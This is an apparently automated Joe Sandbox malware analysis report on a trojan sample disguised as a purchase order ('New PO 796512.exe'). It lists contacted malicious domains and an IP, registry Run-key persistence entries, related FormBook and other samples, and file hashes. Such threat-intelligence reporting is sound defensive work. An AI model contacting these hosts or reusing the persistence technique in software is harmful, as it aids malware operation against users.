                                                    http://www.ukulbagus10.click/o62s/www.epiyiisigorta.onlineexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.enisehirarnavutkoy.xyz/o62s/www.regnancy-10606.bondexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    https://android.notify.windows.com/iOSexplorer.exe, 0000000E.00000003.2272318925.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1368450801.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2544994555.000000000913F000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppexplorer.exe, 0000000E.00000000.1368450801.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2544994555.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2272318925.0000000008F83000.00000004.00000001.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-theexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://www.epiyiisigorta.online/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://www.kipoxz.xyzexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://www.regnancy-10606.bondReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://api.msn.com/v1/news/Feed/Windows?explorer.exe, 0000000E.00000002.2544994555.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1368450801.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2272318925.0000000008F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actuaexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaTexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://www.pollensense.com/explorer.exe, 0000000E.00000002.2539562408.00000000071A4000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  http://www.ottostar.motorcycles/o62s/www.2045.picturesexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  http://www.axiquynhongiare.asiaReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  http://www.hronika.fun/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  http://www.axiquynhongiare.asiaexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/viexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-bexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      http://schemas.microexplorer.exe, 0000000E.00000002.2543886945.0000000008810000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.1367114422.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.1367787947.0000000008820000.00000002.00000001.00040000.00000000.sdmpfalse
                                                                        		high
                                                                        https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINtexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://www.onghi292.top/o62s/www.uikstudy.sbsexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                          • Avira URL Cloud: safe
                                                                          		unknown
                                                                          http://www.enisehirarnavutkoy.xyz/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                          • Avira URL Cloud: safe
                                                                          		unknown
                                                                          http://www.heterraceongregory.store/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                          • Avira URL Cloud: safe
                                                                          		unknown
                                                                          https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://www.iveworks.xyz/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://www.ottostar.motorcycles/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              http://www.axiquynhongiare.asia/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-itexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                http://www.iveworks.xyz/o62s/www.enisehirarnavutkoy.xyzexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                http://www.heterraceongregory.storeReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                http://www.gtg.store/o62s/www.ukulbagus10.clickexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                http://www.enisehirarnavutkoy.xyzexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                http://www.onghi292.topexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsmexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://www.itoolz.netReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  http://www.regnancy-10606.bondexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  http://www.pertforces.storeexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svgexplorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://powerpoint.office.comexplorer.exe, 0000000E.00000002.2550459613.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1380787354.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      http://www.foreca.comexplorer.exe, 0000000E.00000002.2539562408.00000000071A4000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        http://crl.microUNew PO 796512.exe, 00000001.00000002.1361858010.00000000012E2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://www.regnancy-10606.bond/o62s/www.gtg.storeexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://www.regnancy-10606.bond/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://www.uikstudy.sbsReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://www.gtg.store/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://www.gtg.storeReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://www.onghi292.top/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://www.uikstudy.sbs/o62s/www.pertforces.storeexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://www.kipoxz.xyz/o62s/www.ottostar.motorcyclesexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        https://api.msn.com/explorer.exe, 0000000E.00000003.2272318925.0000000008F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          http://www.axiquynhongiare.asia/o62s/www.itoolz.netexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                          • Avira URL Cloud: safe
                                                                                          		unknown

                                                                                          World Map of Contacted IPs

                                                                                          • No. of IPs < 25%
                                                                                          • 25% < No. of IPs < 50%
                                                                                          • 50% < No. of IPs < 75%
                                                                                          • 75% < No. of IPs

                                                                                          Public IPs

                                                                                          IPDomainCountryFlagASNASN NameMalicious
                                                                                          66.29.153.238
                                                                                          		rn3-sa.comUnited States
                                                                                          		19538ADVANTAGECOMUSfalse

                                                                                          General Information

                                                                                          Joe Sandbox version:41.0.0 Charoite
                                                                                          Analysis ID:1560297
                                                                                          Start date and time:2024-11-21 16:30:08 +01:00
                                                                                          Joe Sandbox product:CloudBasic
                                                                                          Overall analysis duration:0h 10m 58s
                                                                                          Hypervisor based Inspection enabled:false
                                                                                          Report type:full
                                                                                          Cookbook file name:default.jbs
                                                                                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                          Number of analysed new started processes analysed:82
                                                                                          Number of new started drivers analysed:0
                                                                                          Number of existing processes analysed:0
                                                                                          Number of existing drivers analysed:0
                                                                                          Number of injected processes analysed:1
                                                                                          Technologies:
                                                                                          • HCA enabled
                                                                                          • EGA enabled
                                                                                          • AMSI enabled
                                                                                          Analysis Mode:default
                                                                                          Analysis stop reason:Timeout
                                                                                          Sample name:New PO 796512.exe
                                                                                          Detection:MAL
                                                                                          Classification:mal100.troj.evad.winEXE@631/12@5/1
                                                                                          EGA Information:
                                                                                          • Successful, ratio: 100%
                                                                                          HCA Information:
                                                                                          • Successful, ratio: 99%
                                                                                          • Number of executed functions: 223
                                                                                          • Number of non-executed functions: 224
                                                                                          Cookbook Comments:
                                                                                          • Found application associated with file extension: .exe

                                                                                          Warnings

                                                                                          • Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                                                                                          • Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                                                                                          • Not all processes where analyzed, report is missing behavior information
                                                                                          • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                          • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                          • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                          • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                          • Report size getting too big, too many NtOpenKey calls found.
                                                                                          • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                          • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                          • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                          • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                          • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                          • VT rate limit hit for: New PO 796512.exe

                                                                                          Simulations

                                                                                          Behavior and APIs

                                                                                          TimeTypeDescription
                                                                                          10:31:12API Interceptor1x Sleep call for process: New PO 796512.exe modified
                                                                                          10:31:20API Interceptor1212879x Sleep call for process: explorer.exe modified
                                                                                          12:22:33API Interceptor2x Sleep call for process: New PO 796512.pif modified
                                                                                          12:22:49API Interceptor2x Sleep call for process: New PO 796512.pif.pif modified
                                                                                          12:23:00API Interceptor1322329x Sleep call for process: msdt.exe modified
                                                                                          12:23:11API Interceptor2x Sleep call for process: New PO 796512.pif.pif.pif modified
                                                                                          16:31:12AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512 C:\Users\user\Documents\New PO 796512.pif
                                                                                          16:31:21AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512 C:\Users\user\Documents\New PO 796512.pif
                                                                                          18:22:34AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif C:\Users\user\Documents\New PO 796512.pif.pif
                                                                                          18:22:47AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif C:\Users\user\Documents\New PO 796512.pif.pif
                                                                                          18:22:55AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif C:\Users\user\Documents\New PO 796512.pif.pif.pif
                                                                                          18:23:03AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif C:\Users\user\Documents\New PO 796512.pif.pif.pif
                                                                                          18:23:13AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif.pif C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif
                                                                                          18:23:26AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif.pif C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif
                                                                                          18:23:35AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif.pif.pif C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif.pif
                                                                                          18:23:43AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif.pif.pif C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif.pif
                                                                                          18:23:52AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif.pif.pif.pif C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif.pif.pif
                                                                                          18:24:05AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif.pif.pif.pif C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif.pif.pif
                                                                                          18:24:13AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif.pif.pif.pif.pif C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif.pif.pif.pif

                                                                                          Joe Sandbox View / Context

                                                                                          IPs

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          66.29.153.2388xJM9UqqLp.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.cortexi-work.click/p3df/?B8PxRnQ=HVkR/x0KsaDFdznjoJTlTnV+G/vNZMhJ5O8/zKUOByaPBj/XUdk2DI9LrgXllhXxz2Pp&mTk4=8pJTol_Hn

                                                                                          Domains

                                                                                          ⊘No context

                                                                                          ASNs

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          ADVANTAGECOMUSCertificate 1045-20-11.exeGet hashmaliciousFormBookBrowse
                                                                                          • 66.29.149.46
                                                                                          Certificate 719A1120-2024.exeGet hashmaliciousFormBookBrowse
                                                                                          • 66.29.149.46
                                                                                          A2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                                                          • 66.29.132.194
                                                                                          SWIFT COPY 0028_pdf.exeGet hashmaliciousFormBookBrowse
                                                                                          • 66.29.137.10
                                                                                          Certificate 11-18720.exeGet hashmaliciousFormBookBrowse
                                                                                          • 66.29.149.46
                                                                                          RvJVMsNLJI.exeGet hashmaliciousFormBookBrowse
                                                                                          • 66.29.149.46
                                                                                          Certificate 64411-18.exeGet hashmaliciousFormBookBrowse
                                                                                          • 66.29.149.46
                                                                                          Certificate 11-17.exeGet hashmaliciousFormBookBrowse
                                                                                          • 66.29.149.46
                                                                                          New Purchase Order.exeGet hashmaliciousFormBookBrowse
                                                                                          • 66.29.133.226
                                                                                          Certificate 11-142024.exeGet hashmaliciousFormBookBrowse
                                                                                          • 66.29.149.46

                                                                                          JA3 Fingerprints

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          3b5074b1b5d032e5620f69f9f700ff0eDirector of Performance Marketing Job Description Roles & Responsibilities Theory 2024.lnkGet hashmaliciousDucktailBrowse
                                                                                          • 66.29.153.238
                                                                                          https://spacardportal.works.com/garGet hashmaliciousUnknownBrowse
                                                                                          • 66.29.153.238
                                                                                          Director of Performance Marketing Job Description Roles & Responsibilities Theory 2024.lnkGet hashmaliciousDucktailBrowse
                                                                                          • 66.29.153.238
                                                                                          order requirements CIF-TRC809945210.exeGet hashmaliciousGuLoaderBrowse
                                                                                          • 66.29.153.238
                                                                                          file.exeGet hashmaliciousLummaCBrowse
                                                                                          • 66.29.153.238
                                                                                          Updated Invoice_0755404645-2024_pdf.exeGet hashmaliciousUnknownBrowse
                                                                                          • 66.29.153.238
                                                                                          estimate Cost.pdfGet hashmaliciousUnknownBrowse
                                                                                          • 66.29.153.238
                                                                                          QUOTATION_NOVQTRA071244#U00b7PDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                          • 66.29.153.238
                                                                                          MV BBG MUARA Ship's Particulars.pdf.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                                                          • 66.29.153.238

                                                                                          Dropped Files

                                                                                          ⊘No context

                                                                                          Created / dropped Files

                                                                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\New PO 796512.exe.log

                                                                                          Download File
                                                                                          Process:C:\Users\user\Desktop\New PO 796512.exe
                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                          Category:dropped
                                                                                          Size (bytes):1613
                                                                                          Entropy (8bit):5.337581307589483
                                                                                          Encrypted:false
                                                                                          SSDEEP:48:MIHK5HKH1qHiYHKh3ogLHitHo6hAHKze0HqHxvpHA:Pq5qHwCYqh3ogLCtI6eqzxKRhg
                                                                                          MD5:5996E52A7168535FEE47DB16A7AEE9C4
                                                                                          SHA1:96F7E9B17B87EEFD42AE22F6BCB1494AC48E7AEF
                                                                                          SHA-256:7594BEF93AE53731425E581A09C8F1A9A956A6DEFE4A3F4A3D4FAB342B922119
                                                                                          SHA-512:28DD61F787B9D4167515BD0619E217788C565B31C55A78751F789DCBB3354B234E51F91F7F3006388F8DAB87BD8AE6B4573ACB7A30B728699C96FAEEA64A1EF5
                                                                                          Malicious:true
